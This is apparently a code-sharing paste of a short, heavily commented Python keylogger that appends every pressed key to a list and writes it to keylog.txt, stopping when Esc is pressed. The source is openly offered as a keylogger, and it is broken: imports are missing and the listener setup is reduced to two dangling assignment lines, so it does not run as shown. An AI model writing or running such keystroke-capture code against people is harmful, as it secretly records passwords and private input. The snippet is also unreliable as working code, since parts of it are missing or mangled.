fork download
  1.  
  2.  
  3. # creating an empty list to store pressed keys
  4. the_keys = []
  5. # creating a function that defines what to do on each key press
  6. def functionPerKey(key):
  7. # appending each pressed key to a list
  8. the_keys.append(key)
  9. # writing list to file after each key pressed
  10. storeKeysToFile(the_keys)
  11.  
  12. # defining the function to write keys to the log file
  13. def storeKeysToFile(keys):
  14. # creating the keylog.txt file with write mode
  15. with open('keylog.txt', 'w') as log:
  16. # looping through each key present in the list of keys
  17. for the_key in keys:
  18. # converting the key to string and removing the quotation marks
  19. the_key = str(the_key).replace("'", "")
  20. # writing each key to the keylog.txt file
  21. log.write(the_key)
  22.  
  23. # defining the function to perform operation on each key release
  24. def onEachKeyRelease(the_key):
  25. # In case, the key is "Esc" then stopping the keylogger
  26. if the_key == Key.esc:
  27. return False
  28.  
  29.  
  30. on_press = functionPerKey,
  31. on_release = onEachKeyRelease
  32.  
Success #stdin #stdout 0.04s 9628KB
stdin
Standard input is empty
stdout
Standard output is empty